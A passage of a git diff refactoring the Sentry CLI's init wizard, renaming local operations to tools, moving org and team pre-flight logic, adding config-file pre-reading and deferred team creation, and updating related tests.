operation: "glob"; cwd: string; params: { @@ -111,7 +133,7 @@ export type ApplyPatchsetPatch = | { path: string; action: "delete"; patch?: string }; export type ApplyPatchsetPayload = { - type: "local-op"; + type: "tool"; operation: "apply-patchset"; cwd: string; params: { @@ -120,7 +142,7 @@ export type ApplyPatchsetPayload = { }; export type CreateSentryProjectPayload = { - type: "local-op"; + type: "tool"; operation: "create-sentry-project"; cwd: string; params: { @@ -130,24 +152,21 @@ export type CreateSentryProjectPayload = { }; export type DetectSentryPayload = { - type: "local-op"; + type: "tool"; operation: "detect-sentry"; - /** Human-readable spinner hint from the server (≤ 120 chars, sensitive values redacted). */ detail?: string; cwd: string; params: Record; }; -export type LocalOpResult = { +export type ToolResult = { ok: boolean; error?: string; - /** Optional user-facing message (e.g. "Using existing project 'foo'"). */ message?: string; data?: unknown; }; -// Wizard output — typed shape of the `result` field returned by the server - +// Wizard output export type WizardOutput = { platform?: string; projectDir?: string; @@ -161,8 +180,7 @@ export type WizardOutput = { message?: string; }; -// Interactive suspend payloads - +// Interactive payloads export type InteractivePayload = | SelectPayload | MultiSelectPayload @@ -190,11 +208,7 @@ export type ConfirmPayload = { prompt: string; }; -// Combined suspend payload — either a local-op or an interactive prompt - -export type SuspendPayload = LocalOpPayload | InteractivePayload; - -// Workflow run result +export type SuspendPayload = ToolPayload | InteractivePayload; export type WorkflowRunResult = { status: "suspended" | "success" | "failed"; diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index e4f6e716f..4f15ee0b7 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -2,32 +2,19 @@ * Wizard Runner * * Main suspend/resume loop that drives the remote Mastra workflow. - * Each iteration: check status → if suspended, perform local-op or + * Each iteration: check status → if suspended, perform tool or * interactive prompt → resume with result → repeat. */ import { randomBytes } from "node:crypto"; -import { basename } from "node:path"; -import { - cancel, - confirm, - intro, - isCancel, - log, - select, - spinner, -} from "@clack/prompts"; +import { cancel, confirm, intro, log, spinner } from "@clack/prompts"; import { MastraClient } from "@mastra/client-js"; import { captureException, getTraceData } from "@sentry/node-core/light"; -import type { SentryTeam } from "../../types/index.js"; import { formatBanner } from "../banner.js"; import { CLI_VERSION } from "../constants.js"; -import { getAuthToken } from "../db/auth.js"; import { WizardError } from "../errors.js"; import { terminalLink } from "../formatters/colors.js"; -import { renderInlineMarkdown, safeCodeSpan } from "../formatters/markdown.js"; -import { resolveOrCreateTeam } from "../resolve-team.js"; -import { slugify } from "../utils.js"; +import { renderInlineMarkdown } from "../formatters/markdown.js"; import { abortIfCancelled, STEP_LABELS, @@ -43,22 +30,19 @@ import { import { formatError, formatResult } from "./formatters.js"; import { checkGitStatus } from "./git.js"; import { handleInteractive } from "./interactive.js"; -import { - detectExistingProject, - handleLocalOp, - precomputeDirListing, - precomputeSentryDetection, - preReadCommonFiles, - resolveOrgSlug, - tryGetExistingProject, -} from "./local-ops.js"; +import { resolveInitContext } from "./preflight.js"; +import { describeTool, executeTool } from "./tools/registry.js"; import type { - LocalOpPayload, - LocalOpResult, + ResolvedInitContext, SuspendPayload, WizardOptions, WorkflowRunResult, } from "./types.js"; +import { + precomputeDirListing, + precomputeSentryDetection, + preReadCommonFiles, +} from "./workflow-inputs.js"; type Spinner = ReturnType; @@ -69,7 +53,7 @@ type StepContext = { stepId: string; spin: Spinner; spinState: SpinState; - options: WizardOptions; + context: ResolvedInitContext; }; function nextPhase( @@ -104,132 +88,31 @@ function truncateForTerminal(message: string): string { return `${truncated}…`; } -/** - * Build a human-readable spinner message from the payload params. - * Each operation type generates a descriptive message showing which - * files are being read, written, or checked. - */ -export function describeLocalOp(payload: LocalOpPayload): string { - switch (payload.operation) { - case "read-files": { - const paths = payload.params.paths; - return describeFilePaths("Reading", paths); - } - case "file-exists-batch": { - const paths = payload.params.paths; - return describeFilePaths("Checking", paths); - } - case "apply-patchset": { - const patches = payload.params.patches; - const first = patches[0]; - if (patches.length === 1 && first) { - const verb = patchActionVerb(first.action); - return `${verb} ${safeCodeSpan(basename(first.path))}...`; - } - const counts = patchActionCounts(patches); - return `Applying ${patches.length} file changes (${counts})...`; - } - case "run-commands": { - const cmds = payload.params.commands; - const first = cmds[0]; - if (cmds.length === 1 && first) { - return `Running ${safeCodeSpan(first)}...`; - } - return `Running ${cmds.length} commands (${safeCodeSpan(first ?? "...")}, ...)...`; - } - case "list-dir": - return "Listing directory..."; - case "grep": { - const searches = payload.params.searches; - if (searches.length === 1 && searches[0]) { - return `Searching for ${safeCodeSpan(searches[0].pattern)}...`; - } - return `Running ${searches.length} searches...`; - } - case "glob": { - const patterns = payload.params.patterns; - if (patterns.length === 1 && patterns[0]) { - return `Finding files matching ${safeCodeSpan(patterns[0])}...`; - } - return `Finding files (${patterns.length} patterns)...`; - } - case "create-sentry-project": - return `Creating project ${safeCodeSpan(payload.params.name)} (${payload.params.platform})...`; - case "detect-sentry": - return "Checking for existing Sentry setup..."; - default: - return `${(payload as { operation: string }).operation}...`; - } -} - -/** Format a file paths list into a human-readable message with a verb prefix. */ -function describeFilePaths(verb: string, paths: string[]): string { - const first = paths[0]; - const second = paths[1]; - if (!first) { - return `${verb} files...`; - } - if (paths.length === 1) { - return `${verb} ${safeCodeSpan(basename(first))}...`; - } - if (paths.length === 2 && second) { - return `${verb} ${safeCodeSpan(basename(first))}, ${safeCodeSpan(basename(second))}...`; - } - return `${verb} ${paths.length} files (${safeCodeSpan(basename(first))}${second ? `, ${safeCodeSpan(basename(second))}` : ""}, ...)...`; -} - -/** Map a patch action to a user-facing verb. */ -function patchActionVerb(action: string): string { - switch (action) { - case "create": - return "Creating"; - case "modify": - return "Modifying"; - case "delete": - return "Deleting"; - default: - return "Updating"; - } -} - -/** Summarize patch actions into a compact string like "2 created, 1 modified". */ -function patchActionCounts(patches: Array<{ action: string }>): string { - const counts = new Map(); - for (const p of patches) { - counts.set(p.action, (counts.get(p.action) ?? 0) + 1); - } - const parts: string[] = []; - for (const [action, count] of counts) { - parts.push(`${count} ${action === "modify" ? "modified" : `${action}d`}`); - } - return parts.join(", "); -} - async function handleSuspendedStep( ctx: StepContext, stepPhases: Map, stepHistory: Map[]> ): Promise> { - const { payload, stepId, spin, spinState, options } = ctx; + const { payload, stepId, spin, spinState, context } = ctx; const label = STEP_LABELS[stepId] ?? stepId; - if (payload.type === "local-op") { - const message = describeLocalOp(payload); + if (payload.type === "tool") { + const message = describeTool(payload); spin.message(renderInlineMarkdown(truncateForTerminal(message))); - const localResult = await handleLocalOp(payload, options); + const toolResult = await executeTool(payload, context); - if (localResult.message) { - spin.stop(renderInlineMarkdown(localResult.message)); + if (toolResult.message) { + spin.stop(renderInlineMarkdown(toolResult.message)); spin.start("Processing..."); } const history = stepHistory.get(stepId) ?? []; - history.push(localResult); + history.push(toolResult); stepHistory.set(stepId, history); return { - ...localResult, + ...toolResult, _phase: nextPhase(stepPhases, stepId, ["read-files", "analyze", "done"]), _prevPhases: history.slice(0, -1), }; @@ -238,7 +121,7 @@ async function handleSuspendedStep( if (payload.type === "interactive") { // In dry-run mode, verification always fails because no files were written // (the server skips apply-patchset). Auto-continue since this is expected. - if (options.dryRun && stepId === VERIFY_CHANGES_STEP) { + if (context.dryRun && stepId === VERIFY_CHANGES_STEP) { return { action: "continue", _phase: nextPhase(stepPhases, stepId, ["apply"]), @@ -248,7 +131,7 @@ async function handleSuspendedStep( spin.stop(label); spinState.running = false; - const interactiveResult = await handleInteractive(payload, options); + const interactiveResult = await handleInteractive(payload, context); spin.start("Processing..."); spinState.running = true; @@ -295,7 +178,7 @@ function assertSuspendPayload(raw: unknown): SuspendPayload { const obj = raw as Record; if ( typeof obj.type !== "string" || - !["local-op", "interactive"].includes(obj.type) + !["tool", "interactive"].includes(obj.type) ) { throw new Error(`Unknown suspend payload type: ${String(obj.type)}`); } @@ -394,179 +277,6 @@ async function preamble( return true; } -/** - * Derive a team slug for auto-creation when the org has no teams. - */ -function deriveTeamSlug(): string { - return "default"; -} - -/** - * Resolve org and detect an existing Sentry project before the spinner starts. - * - * Clack requires all interactive prompts to complete before any spinner/task - * begins — the spinner's setInterval writes output below an active prompt if - * interleaved. This function surfaces all interactive decisions upfront. - * - * @returns Updated options with org and project resolved, or `null` to abort. - * When `null` is returned, `process.exitCode` is already set. - */ -// biome-ignore lint/complexity/noExcessiveCognitiveComplexity: sequential wizard pre-flight branches are inherently nested -async function resolvePreSpinnerOptions( - options: WizardOptions -): Promise { - const { directory, yes } = options; - let opts = options; - - if (!(opts.org || opts.project)) { - let existing: Awaited> = null; - try { - existing = await detectExistingProject(directory); - } catch { - // Filesystem error (e.g. permission denied) — treat as no existing project - } - if (existing) { - if (yes) { - opts = { - ...opts, - org: existing.orgSlug, - project: existing.projectSlug, - }; - } else { - const choice = await select({ - message: "Found an existing Sentry project in this codebase.", - options: [ - { - value: "existing" as const, - label: `Use existing project (${existing.orgSlug}/${existing.projectSlug})`, - hint: "Sentry is already configured here", - }, - { - value: "create" as const, - label: "Create a new Sentry project", - }, - ], - }); - if (isCancel(choice)) { - cancel("Setup cancelled."); - process.exitCode = 0; - return null; - } - if (choice === "existing") { - opts = { - ...opts, - org: existing.orgSlug, - project: existing.projectSlug, - }; - } - } - } - } - - if (!opts.org) { - let orgResult: string | LocalOpResult; - try { - orgResult = await resolveOrgSlug(directory, yes); - } catch (err) { - if (err instanceof WizardCancelledError) { - cancel("Setup cancelled."); - process.exitCode = 0; - return null; - } - log.error(errorMessage(err)); - cancel("Setup failed."); - throw new WizardError(errorMessage(err)); - } - if (typeof orgResult !== "string") { - log.error(orgResult.error ?? "Failed to resolve organization."); - cancel("Setup failed."); - throw new WizardError( - orgResult.error ?? "Failed to resolve organization." - ); - } - opts = { ...opts, org: orgResult }; - } - - // Bare slug case: user ran `sentry init my-app` (project set, org not originally - // provided). Org was just resolved above. Check if this named project already - // exists in the resolved org and prompt the user — must happen before the spinner. - if (options.project && !options.org && opts.org) { - const slug = slugify(options.project); - const resolvedOrg = opts.org; - if (slug) { - try { - const existing = await tryGetExistingProject(resolvedOrg, slug); - if (existing && !yes) { - const choice = await select({ - message: `Found existing project '${slug}' in ${resolvedOrg}.`, - options: [ - { - value: "existing" as const, - label: `Use existing (${resolvedOrg}/${slug})`, - hint: "Already configured", - }, - { - value: "create" as const, - label: "Create a new project", - hint: "Wizard will detect the project name from your codebase", - }, - ], - }); - if (isCancel(choice)) { - cancel("Setup cancelled."); - process.exitCode = 0; - return null; - } - if (choice === "create") { - // Clear project so the wizard auto-detects the name from the codebase - opts = { ...opts, project: undefined }; - } - } - } catch { - // API error checking for existing project — proceed and let createSentryProject handle it - } - } - } - - // Resolve team upfront so failures surface before the AI workflow starts. - if (!opts.team && opts.org) { - try { - const result = await resolveOrCreateTeam(opts.org, { - autoCreateSlug: deriveTeamSlug(), - usageHint: "sentry init", - onAmbiguous: yes - ? async (candidates) => (candidates[0] as SentryTeam).slug - : async (candidates) => { - const selected = await select({ - message: "Which team should own this project?", - options: candidates.map((t) => ({ - value: t.slug, - label: t.slug, - hint: t.name !== t.slug ? t.name : undefined, - })), - }); - if (isCancel(selected)) { - cancel("Setup cancelled."); - process.exitCode = 0; - throw new WizardCancelledError(); - } - return selected; - }, - }); - opts = { ...opts, team: result.slug }; - } catch (err) { - if (err instanceof WizardCancelledError) { - return null; - } - log.error(errorMessage(err)); - cancel("Setup failed."); - throw new WizardError(errorMessage(err)); - } - } - - return opts; -} - // biome-ignore lint/complexity/noExcessiveCognitiveComplexity: sequential wizard orchestration with error handling branches export async function runWizard(initialOptions: WizardOptions): Promise { const { directory, yes, dryRun, features } = initialOptions; @@ -585,8 +295,8 @@ export async function runWizard(initialOptions: WizardOptions): Promise { const effectiveOptions = dryRun ? { ...initialOptions, yes: true } : initialOptions; - const options = await resolvePreSpinnerOptions(effectiveOptions); - if (!options) { + const context = await resolveInitContext(effectiveOptions); + if (!context) { return; } @@ -602,12 +312,7 @@ export async function runWizard(initialOptions: WizardOptions): Promise { }, }; - const token = getAuthToken(); - - // Make the auth token available to local-ops for injecting into generated - // env files (e.g. .env.sentry-build-plugin). The token is never sent to - // the remote server — it stays client-side only. - options.authToken = token; + const token = context.authToken; const client = new MastraClient({ baseUrl: MASTRA_API_URL, @@ -693,7 +398,7 @@ export async function runWizard(initialOptions: WizardOptions): Promise { stepId: extracted.stepId, spin, spinState, - options, + context, }, stepPhases, stepHistory diff --git a/src/lib/init/workflow-inputs.ts b/src/lib/init/workflow-inputs.ts new file mode 100644 index 000000000..654d22ae3 --- /dev/null +++ b/src/lib/init/workflow-inputs.ts @@ -0,0 +1,144 @@ +import fs from "node:fs"; +import path from "node:path"; +import { MAX_FILE_BYTES } from "./constants.js"; +import { detectSentry } from "./tools/detect-sentry.js"; +import { listDir } from "./tools/list-dir.js"; +import type { DirEntry } from "./types.js"; + +/** + * Common config files that multiple init steps frequently inspect. + */ +const COMMON_CONFIG_FILES = [ + "package.json", + "tsconfig.json", + "pyproject.toml", + "requirements.txt", + "requirements-dev.txt", + "setup.py", + "setup.cfg", + "Pipfile", + "Gemfile", + "Gemfile.lock", + "go.mod", + "build.gradle", + "build.gradle.kts", + "settings.gradle", + "settings.gradle.kts", + "pom.xml", + "Cargo.toml", + "pubspec.yaml", + "mix.exs", + "composer.json", + "Podfile", + "CMakeLists.txt", + "next.config.js", + "next.config.mjs", + "next.config.ts", + "nuxt.config.ts", + "nuxt.config.js", + "angular.json", + "astro.config.mjs", + "astro.config.ts", + "svelte.config.js", + "remix.config.js", + "vite.config.ts", + "vite.config.js", + "webpack.config.js", + "metro.config.js", + "app.json", + "electron-builder.yml", + "wrangler.toml", + "wrangler.jsonc", + "serverless.yml", + "serverless.ts", + "bunfig.toml", + "manage.py", + "app.py", + "main.py", + "artisan", + "symfony.lock", + "wp-config.php", + "config/packages/sentry.yaml", + "appsettings.json", + "Program.cs", + "Startup.cs", + "app/build.gradle", + "app/build.gradle.kts", + "src/main/resources/application.properties", + "src/main/resources/application.yml", + "config/application.rb", + "main.go", + "sentry.client.config.ts", + "sentry.client.config.js", + "sentry.server.config.ts", + "sentry.server.config.js", + "sentry.edge.config.ts", + "sentry.edge.config.js", + "sentry.properties", + "instrumentation.ts", + "instrumentation.js", +] as const; + +const MAX_PREREAD_TOTAL_BYTES = 512 * 1024; + +/** + * Pre-compute the initial directory listing before the first workflow call. + */ +export async function precomputeDirListing( + directory: string +): Promise { + const result = await listDir({ + type: "tool", + operation: "list-dir", + cwd: directory, + params: { path: ".", recursive: true, maxDepth: 3, maxEntries: 500 }, + }); + return (result.data as { entries?: DirEntry[] } | undefined)?.entries ?? []; +} + +/** + * Pre-read common config files to avoid repeated suspend/resume round-trips. + */ +export async function preReadCommonFiles( + directory: string, + dirListing: DirEntry[] +): Promise> { + const listingPaths = new Set( + dirListing.map((entry) => entry.path.replaceAll("\\", "/")) + ); + const toRead = COMMON_CONFIG_FILES.filter((filePath) => + listingPaths.has(filePath) + ); + + const cache: Record = {}; + let totalBytes = 0; + + for (const filePath of toRead) { + if (totalBytes >= MAX_PREREAD_TOTAL_BYTES) { + break; + } + try { + const absPath = path.join(directory, filePath); + const stat = await fs.promises.stat(absPath); + if (stat.size > MAX_FILE_BYTES) { + continue; + } + const content = await fs.promises.readFile(absPath, "utf-8"); + if (totalBytes + content.length <= MAX_PREREAD_TOTAL_BYTES) { + cache[filePath] = content; + totalBytes += content.length; + } + } catch { + cache[filePath] = null; + } + } + + return cache; +} + +/** + * Pre-compute local Sentry detection so the workflow can start with that context. + */ +export async function precomputeSentryDetection(directory: string) { + return await detectSentry(directory); +} diff --git a/src/lib/resolve-team.ts b/src/lib/resolve-team.ts index 632991836..ee6022ab2 100644 --- a/src/lib/resolve-team.ts +++ b/src/lib/resolve-team.ts @@ -10,7 +10,8 @@ * 2. Fetch org teams via `listTeams` * - On 404: org doesn't exist → resolve effective org via cache, show org list * - On other errors: surface status + generic hint - * 3. If zero teams → auto-create a team named after the project (slug-based) + * 3. If zero teams → auto-create a team named after the project (slug-based), + * or defer init-specific creation until the final slug is known * 4. If exactly one team → auto-select it * 5. Filter to teams the user belongs to (`isMember === true`) * - If exactly one member team → auto-select it @@ -62,7 +63,8 @@ export type ResolveTeamOptions = { usageHint: string; /** * Slug to use when auto-creating a team in an empty org. - * If not provided and the org has zero teams, an error is thrown instead. + * If not provided and the org has zero teams, an error is thrown instead + * unless empty-org auto-creation is being deferred. */ autoCreateSlug?: string; /** @@ -71,6 +73,11 @@ export type ResolveTeamOptions = { * with the autoCreateSlug value. */ dryRun?: boolean; + /** + * When true, an empty org returns a deferred result instead of auto-creating + * a team immediately. This lets callers wait until they know the final slug. + */ + deferAutoCreateOnEmptyOrg?: boolean; /** * Called when multiple candidate teams remain after membership filtering. * Return the selected team slug. If not provided, a ContextError is thrown. @@ -78,14 +85,23 @@ export type ResolveTeamOptions = { onAmbiguous?: (candidates: SentryTeam[]) => Promise; }; -/** Result of team resolution, including how the team was determined */ -export type ResolvedTeam = { +/** Result of team resolution that produced a concrete team slug. */ +export type ResolvedConcreteTeam = { /** The resolved team slug */ slug: string; /** How the team was determined */ source: "explicit" | "auto-selected" | "auto-created"; }; +/** Result of init-specific deferred team resolution for empty organizations. */ +export type DeferredResolvedTeam = { + /** Indicates that team creation should happen later once the final slug is known. */ + source: "deferred"; +}; + +/** Result of team resolution, including deferred empty-org handling for init. */ +export type ResolvedTeam = ResolvedConcreteTeam | DeferredResolvedTeam; + /** * Resolve which team to use for an operation. * @@ -95,6 +111,16 @@ export type ResolvedTeam = { * @throws {ContextError} When team cannot be resolved * @throws {ResolutionError} When org slug returns 404 */ +export async function resolveOrCreateTeam( + orgSlug: string, + options: ResolveTeamOptions & { + deferAutoCreateOnEmptyOrg?: false | undefined; + } +): Promise; +export async function resolveOrCreateTeam( + orgSlug: string, + options: ResolveTeamOptions & { deferAutoCreateOnEmptyOrg: true } +): Promise; export async function resolveOrCreateTeam( orgSlug: string, options: ResolveTeamOptions @@ -169,12 +195,16 @@ export async function resolveOrCreateTeam( /** * Handle the case when an org has zero teams. - * Either auto-creates a team, returns a dry-run preview, or throws. + * Either defers init-specific creation, auto-creates a team, returns a dry-run + * preview, or throws. */ function resolveEmptyTeams( orgSlug: string, options: ResolveTeamOptions ): Promise | ResolvedTeam { + if (options.deferAutoCreateOnEmptyOrg) { + return { source: "deferred" }; + } if (!options.autoCreateSlug) { const teamsUrl = `${getSentryBaseUrl()}/settings/${orgSlug}/teams/`; throw new ContextError("Team", `${options.usageHint} --team `, [ diff --git a/test/commands/init.test.ts b/test/commands/init.test.ts index bfe0d4da5..fd1ae0322 100644 --- a/test/commands/init.test.ts +++ b/test/commands/init.test.ts @@ -13,8 +13,8 @@ import { initCommand } from "../../src/commands/init.js"; import * as projectsApi from "../../src/lib/api/projects.js"; import { ContextError, ValidationError } from "../../src/lib/errors.js"; // biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as prefetchNs from "../../src/lib/init/prefetch.js"; -import { resetPrefetch } from "../../src/lib/init/prefetch.js"; +import * as prefetchNs from "../../src/lib/init/org-prefetch.js"; +import { resetPrefetch } from "../../src/lib/init/org-prefetch.js"; // biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference import * as wizardRunner from "../../src/lib/init/wizard-runner.js"; diff --git a/test/lib/init/interactive.test.ts b/test/lib/init/interactive.test.ts index 5c7d28b5a..f0ff04851 100644 --- a/test/lib/init/interactive.test.ts +++ b/test/lib/init/interactive.test.ts @@ -9,7 +9,7 @@ import { afterEach, beforeEach, describe, expect, spyOn, test } from "bun:test"; // biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference import * as clack from "@clack/prompts"; import { handleInteractive } from "../../../src/lib/init/interactive.js"; -import type { WizardOptions } from "../../../src/lib/init/types.js"; +import type { InteractiveContext } from "../../../src/lib/init/types.js"; const noop = () => { /* suppress clack output */ @@ -24,14 +24,12 @@ let logWarnSpy: ReturnType; let cancelSpy: ReturnType; let isCancelSpy: ReturnType; -function makeOptions(overrides?: Partial): WizardOptions { +function makeOptions( + overrides?: Partial +): InteractiveContext { return { - directory: "/tmp/test", yes: false, dryRun: false, - stdout: { write: () => true }, - stderr: { write: () => true }, - stdin: process.stdin, ...overrides, }; } diff --git a/test/lib/init/local-ops.create-sentry-project.test.ts b/test/lib/init/local-ops.create-sentry-project.test.ts deleted file mode 100644 index 1d348e4fb..000000000 --- a/test/lib/init/local-ops.create-sentry-project.test.ts +++ /dev/null @@ -1,448 +0,0 @@ -/** - * create-sentry-project local-op tests - * - * Uses spyOn on namespace imports so that the spies intercept calls - * from within the local-ops module (live ESM bindings). - */ - -import { afterEach, beforeEach, describe, expect, spyOn, test } from "bun:test"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as clack from "@clack/prompts"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as apiClient from "../../../src/lib/api-client.js"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as projectCache from "../../../src/lib/db/project-cache.js"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as dbRegions from "../../../src/lib/db/regions.js"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as dsnIndex from "../../../src/lib/dsn/index.js"; -import { ApiError } from "../../../src/lib/errors.js"; -import { WizardCancelledError } from "../../../src/lib/init/clack-utils.js"; -import { - detectExistingProject, - handleLocalOp, - resolveOrgSlug, -} from "../../../src/lib/init/local-ops.js"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as prefetch from "../../../src/lib/init/prefetch.js"; -import type { - CreateSentryProjectPayload, - WizardOptions, -} from "../../../src/lib/init/types.js"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as resolveTarget from "../../../src/lib/resolve-target.js"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as resolveTeam from "../../../src/lib/resolve-team.js"; -// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference -import * as sentryUrls from "../../../src/lib/sentry-urls.js"; -import type { SentryProject } from "../../../src/types/index.js"; - -function makeOptions(overrides?: Partial): WizardOptions { - return { - directory: "/tmp/test", - yes: false, - dryRun: false, - org: "acme-corp", - ...overrides, - }; -} - -function makePayload( - overrides?: Partial -): CreateSentryProjectPayload { - return { - type: "local-op", - operation: "create-sentry-project", - cwd: "/tmp/test", - params: { - name: "my-app", - platform: "javascript-nextjs", - ...overrides, - }, - }; -} - -const sampleProject: SentryProject = { - id: "42", - slug: "my-app", - name: "my-app", - platform: "javascript-nextjs", - dateCreated: "2026-03-04T00:00:00Z", -}; - -let savedAuthToken: string | undefined; -beforeEach(() => { - savedAuthToken = process.env.SENTRY_AUTH_TOKEN; - delete process.env.SENTRY_AUTH_TOKEN; -}); -afterEach(() => { - if (savedAuthToken !== undefined) { - process.env.SENTRY_AUTH_TOKEN = savedAuthToken; - } -}); - -describe("create-sentry-project", () => { - let resolveOrgSpy: ReturnType; - let listOrgsSpy: ReturnType; - let resolveOrCreateTeamSpy: ReturnType; - let createProjectSpy: ReturnType; - let tryGetPrimaryDsnSpy: ReturnType; - let buildProjectUrlSpy: ReturnType; - let selectSpy: ReturnType; - let isCancelSpy: ReturnType; - let getOrgByNumericIdSpy: ReturnType; - let detectDsnSpy: ReturnType; - let getCachedProjectByDsnKeySpy: ReturnType; - let setCachedProjectByDsnKeySpy: ReturnType; - let findProjectByDsnKeySpy: ReturnType; - let getProjectSpy: ReturnType; - let resolveOrgPrefetchedSpy: ReturnType; - let resolveDsnByPublicKeySpy: ReturnType; - - beforeEach(() => { - resolveOrgSpy = spyOn(resolveTarget, "resolveOrg"); - resolveOrgPrefetchedSpy = spyOn(prefetch, "resolveOrgPrefetched"); - resolveDsnByPublicKeySpy = spyOn(resolveTarget, "resolveDsnByPublicKey"); - listOrgsSpy = spyOn(apiClient, "listOrganizations"); - resolveOrCreateTeamSpy = spyOn(resolveTeam, "resolveOrCreateTeam"); - createProjectSpy = spyOn(apiClient, "createProject"); - tryGetPrimaryDsnSpy = spyOn(apiClient, "tryGetPrimaryDsn"); - buildProjectUrlSpy = spyOn(sentryUrls, "buildProjectUrl"); - selectSpy = spyOn(clack, "select"); - isCancelSpy = spyOn(clack, "isCancel").mockImplementation( - (v: unknown) => v === Symbol.for("cancel") - ); - // New spies — default to no-op so existing tests are unaffected - getOrgByNumericIdSpy = spyOn( - dbRegions, - "getOrgByNumericId" - ).mockResolvedValue(undefined); - detectDsnSpy = spyOn(dsnIndex, "detectDsn").mockResolvedValue(null); - getCachedProjectByDsnKeySpy = spyOn( - projectCache, - "getCachedProjectByDsnKey" - ).mockResolvedValue(undefined); - setCachedProjectByDsnKeySpy = spyOn( - projectCache, - "setCachedProjectByDsnKey" - ).mockResolvedValue(undefined); - findProjectByDsnKeySpy = spyOn( - apiClient, - "findProjectByDsnKey" - ).mockResolvedValue(null); - getProjectSpy = spyOn(apiClient, "getProject"); - }); - - afterEach(() => { - resolveOrgSpy.mockRestore(); - listOrgsSpy.mockRestore(); - resolveOrCreateTeamSpy.mockRestore(); - createProjectSpy.mockRestore(); - tryGetPrimaryDsnSpy.mockRestore(); - buildProjectUrlSpy.mockRestore(); - selectSpy.mockRestore(); - isCancelSpy.mockRestore(); - getOrgByNumericIdSpy.mockRestore(); - detectDsnSpy.mockRestore(); - getCachedProjectByDsnKeySpy.mockRestore(); - setCachedProjectByDsnKeySpy.mockRestore(); - findProjectByDsnKeySpy.mockRestore(); - getProjectSpy.mockRestore(); - resolveOrgPrefetchedSpy.mockRestore(); - resolveDsnByPublicKeySpy.mockRestore(); - }); - - function mockDownstreamSuccess(orgSlug: string) { - resolveOrCreateTeamSpy.mockResolvedValue({ - slug: "engineering", - source: "auto-selected", - }); - createProjectSpy.mockResolvedValue(sampleProject); - tryGetPrimaryDsnSpy.mockResolvedValue("https://abc@o1.ingest.sentry.io/42"); - buildProjectUrlSpy.mockReturnValue( - `https://sentry.io/settings/${orgSlug}/projects/my-app/` - ); - } - - test("success path returns project details", async () => { - mockDownstreamSuccess("acme-corp"); - - const result = await handleLocalOp(makePayload(), makeOptions()); - - expect(result.ok).toBe(true); - const data = result.data as { - orgSlug: string; - projectSlug: string; - projectId: string; - dsn: string; - url: string; - }; - expect(data.orgSlug).toBe("acme-corp"); - expect(data.projectSlug).toBe("my-app"); - expect(data.projectId).toBe("42"); - expect(data.dsn).toBe("https://abc@o1.ingest.sentry.io/42"); - expect(data.url).toBe( - "https://sentry.io/settings/acme-corp/projects/my-app/" - ); - - // Verify resolveOrCreateTeam was called with slugified name - expect(resolveOrCreateTeamSpy).toHaveBeenCalledWith("acme-corp", { - autoCreateSlug: "my-app", - usageHint: "sentry init", - }); - }); - - describe("resolveOrgSlug (called directly)", () => { - test("single org fallback when resolveOrg returns null", async () => { - resolveOrgPrefetchedSpy.mockResolvedValue(null); - listOrgsSpy.mockResolvedValue([ - { id: "1", slug: "solo-org", name: "Solo Org" }, - ]); - - const result = await resolveOrgSlug("/tmp/test", false); - - expect(result).toBe("solo-org"); - expect(selectSpy).not.toHaveBeenCalled(); - }); - - test("no orgs (not authenticated) returns error result", async () => { - resolveOrgPrefetchedSpy.mockResolvedValue(null); - listOrgsSpy.mockResolvedValue([]); - - const result = await resolveOrgSlug("/tmp/test", false); - - expect(typeof result).toBe("object"); - const err = result as { ok: boolean; error: string }; - expect(err.ok).toBe(false); - expect(err.error).toContain("Not authenticated"); - }); - - test("multiple orgs + yes flag returns error with slug list", async () => { - resolveOrgPrefetchedSpy.mockResolvedValue(null); - listOrgsSpy.mockResolvedValue([ - { id: "1", slug: "org-a", name: "Org A" }, - { id: "2", slug: "org-b", name: "Org B" }, - ]); - - const result = await resolveOrgSlug("/tmp/test", true); - - expect(typeof result).toBe("object"); - const err = result as { ok: boolean; error: string }; - expect(err.ok).toBe(false); - expect(err.error).toContain("Multiple organizations found"); - expect(err.error).toContain("org-a"); - expect(err.error).toContain("org-b"); - }); - - test("multiple orgs + interactive select picks chosen org", async () => { - resolveOrgPrefetchedSpy.mockResolvedValue(null); - listOrgsSpy.mockResolvedValue([ - { id: "1", slug: "org-a", name: "Org A" }, - { id: "2", slug: "org-b", name: "Org B" }, - ]); - selectSpy.mockResolvedValue("org-b"); - - const result = await resolveOrgSlug("/tmp/test", false); - - expect(result).toBe("org-b"); - expect(selectSpy).toHaveBeenCalledTimes(1); - }); - - test("multiple orgs + user cancels select throws WizardCancelledError", async () => { - resolveOrgPrefetchedSpy.mockResolvedValue(null); - listOrgsSpy.mockResolvedValue([ - { id: "1", slug: "org-a", name: "Org A" }, - { id: "2", slug: "org-b", name: "Org B" }, - ]); - selectSpy.mockResolvedValue(Symbol.for("cancel")); - - await expect(resolveOrgSlug("/tmp/test", false)).rejects.toThrow( - WizardCancelledError - ); - }); - }); - - test("API error (e.g. 409 conflict) returns ok:false", async () => { - resolveOrCreateTeamSpy.mockResolvedValue({ - slug: "engineering", - source: "auto-selected", - }); - createProjectSpy.mockRejectedValue( - new Error("409: A project with this slug already exists") - ); - - const result = await handleLocalOp(makePayload(), makeOptions()); - - expect(result.ok).toBe(false); - expect(result.error).toContain("already exists"); - }); - - test("DSN unavailable still returns ok:true with empty dsn", async () => { - resolveOrCreateTeamSpy.mockResolvedValue({ - slug: "engineering", - source: "auto-selected", - }); - createProjectSpy.mockResolvedValue(sampleProject); - tryGetPrimaryDsnSpy.mockResolvedValue(null); - buildProjectUrlSpy.mockReturnValue( - "https://sentry.io/settings/acme-corp/projects/my-app/" - ); - - const result = await handleLocalOp(makePayload(), makeOptions()); - - expect(result.ok).toBe(true); - const data = result.data as { dsn: string }; - 